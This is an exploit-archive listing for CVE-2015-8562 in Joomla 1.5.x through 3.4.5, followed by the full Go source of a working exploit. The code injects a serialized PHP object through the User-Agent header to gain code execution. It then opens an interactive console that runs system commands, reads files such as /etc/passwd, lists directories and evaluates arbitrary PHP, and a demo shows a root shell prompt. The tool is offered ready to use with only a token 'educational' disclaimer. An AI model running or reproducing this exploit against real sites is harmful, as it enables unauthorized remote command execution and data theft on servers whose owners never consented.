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Joomla 3.4.5 Object Injection

Joomla 3.4.5 Object Injection
Posted Dec 31, 2015
Authored by Khashayar Fereidani

Joomla versions 1.5.x through 3.4.5 object injection exploit that allows for code execution and more. Written in golang.

tags | exploit, code execution
advisories | CVE-2015-8562
MD5 | 3af9152f62884f6e44c7856c8220535b

Joomla 3.4.5 Object Injection

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package main

/*
**************************************************************************
* Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit
* Exploit Author: Khashayar Fereidani ( http://fereidani.com )
* Version: 1.5.x to 3.4.5
* CVE : CVE-2015-8562
**************************************************************************
* THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE
* IS ON YOUR OWN RESPONSIBILITY
**************************************************************************
* How to run : (you need golang compiler from golang.org)
* go run exploit.go http://target/path
* or
* go build exploit.go
* ./exploit http://target/path
**************************************************************************
* DEMO :

$ ./exploit 192.168.1.113/joomla
###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.x to 3.4.5
###############################################

Attacking to http://FILTERED.TLD/joomla/
Target is vulnerable !
# Command Line Documentation :
read FILEPATH read file from FILEPATH
dir DIRPATH list directory in DIRPATH
exec COMMAND execute system command
eval phpcode evaluate PHP Code
help display this help
exit close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')


root@joomla:$ exec uname -a
Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@joomla:$

*/

import (
"fmt"
"net/http"
"regexp"
"os"
"io/ioutil"
"bytes"
"net/http/cookiejar"
"net/url"
"bufio"
"strings"
)


var target string;


var helpString=`# Command Line Documentation :
read FILEPATH read file from FILEPATH
dir DIRPATH list directory in DIRPATH
exec COMMAND execute system command
eval phpcode evaluate PHP Code
help display this help
exit close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')

`

var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://")

var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)")

var cmdRegex=regexp.MustCompile("(\\w+)\\s(.+)")

var newLine=regexp.MustCompile("[\\n\\r]")

var client *http.Client

func newRequest(command string) *http.Request{
values:=url.Values{}
values.Set("1","echo('iMH3r3=');"+command+";")

req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode()))

if err!=nil{
panic(err)
}

req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:43:"eval($_POST[1]);JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}`+"\xf0\xfd\xfd\xfd")
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
return req
}


func escape(str string) string{
return strings.Replace(str,"'","\\'",-1)
}


func runCommand(command string){
res,err:=client.Do(newRequest(command))

if err!=nil{
fmt.Println(err.Error())
}else{
defer res.Body.Close()
resBytes,err:=ioutil.ReadAll(res.Body)
str:=string(resBytes)

if err!=nil{
fmt.Println(err)
}
match:=resultRegex.FindStringSubmatch(str)
if len(match)>0{
fmt.Print(match[0][7:])
}
}

}


func confirm() bool{
res,err:=client.Do(newRequest(""))

if err!=nil{
fmt.Println(err)
return false
}else{
if res.StatusCode==500{
fmt.Println("Patched PHP Version :( !")
return false
}
defer res.Body.Close()
resBytes,err:=ioutil.ReadAll(res.Body)
str:=string(resBytes)

if err!=nil{
fmt.Println(err)
}
match:=resultRegex.FindStringSubmatch(str)
if len(match)>0{
return true
}else{
return false
}
}
}

func main(){
fmt.Print(`###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.0 to 3.4.5
###############################################
`)
options := cookiejar.Options{}

jar, err := cookiejar.New(&options)
if err != nil {
panic(err)
}

client = &http.Client{
Jar:jar,
}



if len(os.Args)<2{
fmt.Println("Insufficient input , please run ./exploit http://targeturl/path/")
return
}

target=os.Args[1]
if(!validHttpUrl.MatchString(target)){
target="http://"+target
}

if string(target[len(target)-1])!="/"{
target+="/"
}

fmt.Println("Attacking to ",target)


res,err:=client.Do(newRequest(""))
if err!=nil{
fmt.Println("Request Error:",err)
return
}
ioutil.ReadAll(res.Body)
res.Body.Close()

if confirm(){
fmt.Println("Target is vulnerable !")
//runCommand("system('ls -la')")
stdinreader := bufio.NewReader(os.Stdin)

fmt.Println(helpString)
for {
var line string
fmt.Print("root@joomla:$ ")
line,_=stdinreader.ReadString('\n')
line=newLine.ReplaceAllString(line,"")
match:=cmdRegex.FindStringSubmatch(line)
if len(match)<3 {
if (line=="exit"){
return
}

if !(line=="help"){
fmt.Println("Wrong input !")
}

fmt.Println(helpString)
}else{
cmd:=match[1]
input:=escape(match[2])
switch cmd {
case "exec":
runCommand("system('"+input+"')")
case "read":
runCommand("readfile('"+input+"')")
case "dir":
runCommand("$a=scandir('"+input+"');foreach($a as $v){echo $v.\"\\n\";}")
case "eval":
runCommand(match[2])
}
}
}
}else{
fmt.Println("Target is not vulnerable!")
}


}
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